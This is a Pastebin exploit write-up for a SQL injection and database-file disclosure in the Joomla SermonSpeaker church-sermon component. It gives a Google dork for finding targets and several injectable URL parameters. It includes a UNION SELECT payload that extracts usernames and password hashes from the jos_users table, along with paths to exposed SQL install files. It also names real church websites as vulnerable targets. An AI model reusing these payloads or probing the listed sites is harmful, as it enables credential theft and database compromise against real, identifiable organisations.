API tools faq
paste
KingSkrupellos

Joomla SermonSpeaker 5.9.0 SQL Inj DB Disc

KingSkrupellos
Feb 11th, 2019
65
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.03 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla SermonSpeaker 5.9.0 SQL Injection / Database Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 12/02/2019
  7. # Vendor Homepage : sermonspeaker.net
  8. # Software Download Link : github.com/Bakual/SermonSpeaker/archive/master.zip
  9. sermonspeaker.net/download.html
  10. # Software Information Link : extensions.joomla.org/extension/sermonspeaker/
  11. joomlabiblestudy.org/11-news/60-sermon-speaker-migration-component.html
  12. # Software Version : 5.84 and 5.9.0 and previous versions.
  13. # Software Technical Requirements :
  14. Joomla Bible Study + Joomla SermonSpeaker Migration =>
  15. You must have Sermon Speaker 3.4.2 or higher installed and
  16. Joomla Bible Study 6.2.0 or higher installed. You may use of the 6.2 RC3 version.
  17. # Tested On : Windows and Linux
  18. # Category : WebApps
  19. # Exploit Risk : Medium
  20. # Google Dorks : inurl:''/index.php?option=com_sermonspeaker''
  21. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  22. Special Elements used in an SQL Command ('SQL Injection') ]
  23. CWE-200 [ Information Exposure ]
  24. # Old Similar CVE [ Only Version and Parameters are different ] : CVE-2010-1477 ~ CVE-2010-1559
  25. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  26. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  27. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  28.  
  29. ####################################################################
  30.  
  31. # Description about Software :
  32. ***************************
  33. SermonSpeaker is a free Joomla component for churchs to publish their sermons.
  34.  
  35. ####################################################################
  36.  
  37. # Impact :
  38. ***********
  39. * Joomla SermonSpeaker 5.9.0 and other versions -
  40.  
  41. component for Joomla is prone to an SQL-injection vulnerability because it
  42.  
  43. fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  44.  
  45. Exploiting this issue could allow an attacker to compromise the application,
  46.  
  47. access or modify data, or exploit latent vulnerabilities in the underlying database.
  48.  
  49. A remote attacker can send a specially crafted request to the vulnerable application
  50.  
  51. and execute arbitrary SQL commands in application`s database.
  52.  
  53. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  54.  
  55. * An attacker can exploit this issue using a browser.
  56.  
  57. SermonSpeaker is a free Joomla component for churches to publish their sermons.
  58.  
  59. * It has many features and is used by God to spread the gospel.
  60.  
  61. Some churches have expressed interest in using Joomla Bible Study
  62.  
  63. and want to convert from Sermon Speaker.
  64.  
  65. ####################################################################
  66.  
  67. # SQL Injection Exploit :
  68. **********************
  69. /index.php?option=com_sermonspeaker&view=speaker&Itemid=[SQL Injection]
  70.  
  71. /index.php?option=com_sermonspeaker&task=latest_sermons&id=[SQL Injection]
  72.  
  73. /index.php?option=com_sermonspeaker&Itemid=[SQL Injection]&lang=el
  74.  
  75. /index.php?option=com_sermonspeaker&view=speakers&catid=[ID-NUMBER]:sermons&Itemid=[SQL Injection]
  76.  
  77. /index.php?view=sermon&id=[ID-NUMBER]&option=com_sermonspeaker&Itemid=[SQL Injection]
  78.  
  79. /index.php?option=com_sermonspeaker&view=sermon&id=[SQL Injection]
  80.  
  81. /index.php?view=speaker&layout=popup&id=[ID-NUMBER]&tmpl=component&option=com_sermonspeaker&Itemid=[SQL Injection]
  82.  
  83. # Example SQL Injection Payload :
  84. *******************************
  85.  
  86. -9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/
  87.  
  88. ####################################################################
  89.  
  90. # Database Disclosure Exploit :
  91. ***************************
  92. /administrator/components/com_sermonspeaker/sql/install.mysql.utf8.sql
  93.  
  94. /administrator/components/com_sermonspeaker/sql/uninstall.mysql.utf8.sql
  95.  
  96. /administrator/components/com_sermonspeaker/sql/updates/mysql/4.5.0.sql
  97.  
  98. /administrator/components/com_sermonspeaker/sql/updates/mysql/4.5.1.sql
  99.  
  100. /administrator/components/com_sermonspeaker/sql/updates/mysql/4.5.2.sql
  101.  
  102. /administrator/components/com_sermonspeaker/sql/updates/mysql/4.5.3.sql
  103.  
  104. /administrator/components/com_sermonspeaker/sql/updates/mysql/4.5.4.sql
  105.  
  106. /administrator/components/com_sermonspeaker/sql/updates/mysql/5.0.0.sql
  107.  
  108. /administrator/components/com_sermonspeaker/sql/updates/mysql/5.0.1.sql
  109.  
  110. /administrator/components/com_sermonspeaker/sql/updates/mysql/5.0.2.sql
  111.  
  112. /administrator/components/com_sermonspeaker/sql/updates/mysql/5.0.3.sql
  113.  
  114. /administrator/components/com_sermonspeaker/sql/updates/mysql/5.0.4.sql
  115.  
  116. /administrator/components/com_sermonspeaker/sql/updates/mysql/5.4.0.sql
  117.  
  118. /administrator/components/com_sermonspeaker/sql/updates/mysql/5.5.0.sql
  119.  
  120. /administrator/components/com_sermonspeaker/sql/updates/mysql/5.8.4.sql
  121.  
  122. ####################################################################
  123.  
  124. # Example Vulnerable Sites :
  125. *************************
  126. [+] flccvancouver.net/index.php?view=speaker&layout=popup&id=10021&tmpl=component&option=com_sermonspeaker&Itemid=154
  127.  
  128. [+] blagodat.org.ua/index.php?option=com_sermonspeaker&view=speakers&catid=9:sermons&Itemid=305
  129.  
  130. [+] lawrencevillechurch.org/administrator/components/com_sermonspeaker/sql/updates/mysql/4.5.0.sql
  131.  
  132. [+] eeevol.gec.gr/index.php?option=com_sermonspeaker&Itemid=56&lang=el
  133.  
  134. [+] pretoriawesleyanchurch.co.za/temp/index.php?view=sermon&id=10098&option=com_sermonspeaker&Itemid=31
  135.  
  136. [+] ibiany.org/site/index.php?option=com_sermonspeaker&Itemid=26
  137.  
  138. [+] citychurchcardiff.com/index.php?option=com_sermonspeaker&view=sermon&id=10825
  139.  
  140. ####################################################################
  141.  
  142. # Example SQL Database Error :
  143. ****************************
  144. Warning: Creating default object from empty value in
  145. /home/content/02/5227002/html/eeevol/components
  146. /com_sermonspeaker/views/sermons/view.html.php on line 36
  147.  
  148. ####################################################################
  149.  
  150. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  151.  
  152. ####################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!